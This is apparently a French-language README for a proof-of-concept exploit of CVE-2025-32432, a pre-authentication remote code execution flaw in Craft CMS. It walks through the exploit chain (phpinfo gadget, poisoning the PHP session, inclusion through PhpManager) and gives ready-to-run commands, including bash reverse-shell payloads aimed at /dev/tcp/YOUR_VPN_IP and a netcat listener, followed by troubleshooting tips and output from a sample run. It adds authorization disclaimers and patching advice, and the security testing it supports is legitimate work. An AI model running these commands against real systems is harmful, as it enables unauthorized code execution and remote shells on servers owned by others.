
Preuve de concept mono-cible pour CVE-2025-32432, une exécution de code à distance avant authentification dans Craft CMS. Effectue la confirmation de la vulnérabilité via le gadget phpinfo et une exécution de commande optionnelle via une chaîne d'inclusion de fichier de session.
Tests autorisés uniquement. Ce dépôt est destiné aux environnements de laboratoire contrôlés, aux plateformes CTF telles que Hack The Box, à la validation interne et à la vérification défensive. N'exécutez pas ceci contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
Ce projet contient une preuve de concept mono-cible pour CVE-2025-32432, un problème d'exécution de code à distance (RCE) avant authentification dans Craft CMS.
Le PoC s'exécute en deux étapes :
phpinfo() via l'endpoint de génération de transformations d'assets de Craft CMS.Le script est conçu pour éviter un problème courant de faux négatif observé dans certaines preuves de concept publiques : une requête normale de transformation d'image peut renvoyer 404, alors que le même endpoint et le même assetId fonctionnent toujours lorsque la charge utile du gadget réel est utilisée.
Selon l'avis de sécurité officiel de Craft CMS et les bases de données d'avis publics, les plages concernées sont :
| Branche Craft CMS | Versions affectées | Version corrigée |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
Mettez immédiatement à niveau vers une version corrigée si vous êtes responsable d'un déploiement Craft CMS.
Le PoC suit ce flux :
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
Détails d'implémentation importants :
/var/lib/php/sessions/var/lib/php/session/tmp--timeout est incluse pour les scénarios de reverse shell.craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3Installer les dépendances :
python3 -m pip install requests urllib3
Ceci confirme la vulnérabilité en utilisant uniquement le gadget phpinfo.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
Sortie attendue en cas de succès :
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
La réponse phpinfo est enregistrée sous :
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
Exemple de sortie en cas de succès :
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Utilisez ceci lorsque vous connaissez déjà les valeurs fonctionnelles.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
Certaines cibles peuvent utiliser un contrôleur frontal personnalisé tel que x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
Ceci teste des routes telles que :
http://target.local/x.php?p=admin/actions/assets/generate-transform
Démarrez d'abord un listener :
rlwrap -cAr nc -lvnp 12345
Exécutez ensuite la preuve de concept avec une commande de reverse shell :
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 désactive le délai d'attente de la requête. Ceci est utile car les reverse shells maintiennent souvent la requête HTTP ouverte.
Variante détachée :
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
| Option | Description | Défaut |
|---|---|---|
-u, --url | URL de base de la cible | Requis |
-c, --cmd | Commande facultative à exécuter après confirmation phpinfo | Aucun |
--front | Nom du fichier du contrôleur frontal | index.php |
-s, --scan-max | assetId maximum à tester avec le gadget phpinfo | 50 |
-a, --asset | Identifiant d'asset fonctionnel connu | Aucun |
--endpoint | Endpoint generate-transform fonctionnel connu | Aucun |
--session-dir | Répertoire de session PHP. Peut être fourni plusieurs fois | Liste intégrée |
--timeout | Délai d'attente de requête pour le déclenchement de la commande. Utilisez 0 pour aucun délai d'attente | 20 |
assetId 0 -> HTTP 404 lors d'un scan normalNe vous fiez pas à une requête de transformation normale pour la découverte. Certaines cibles renvoient 404 pour un corps de transformation normal mais exécutent toujours la charge utile du gadget.
Cette preuve de concept découvre les combinaisons valides à l'aide du gadget phpinfo lui-même.
Essayez de spécifier manuellement le répertoire de session :
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
Essayez ensuite :
--session-dir /var/lib/php/session
ou :
--session-dir /tmp
Utilisez l'une de ces approches :
--timeout 0
Utilisez une charge utile détachée avec setsid ou nohup.
Vérifiez que votre IP de rappel est correcte :
ip -br a | grep tun
Cela peut être normal si le reverse shell s'est connecté avec succès. Vérifiez votre listener avant de considérer le délai d'attente comme un échec.
Essayez d'abord une commande plus simple :
-c "id"
-c "whoami"
-c "pwd"
Si les commandes simples fonctionnent mais que les commandes complexes échouent, placez la commande entre guillemets avec précaution ou utilisez une charge utile shell détachée.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Si vous administrez une instance Craft CMS :
3.9.15, 4.14.15, 5.6.17 ou une version ultérieure..env et les identifiants de base de données.Ce projet est fourni uniquement à des fins éducatives, de recherche, de laboratoire et de validation défensive. L'auteur n'est pas responsable d'une utilisation abusive. Testez uniquement les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite d'évaluation.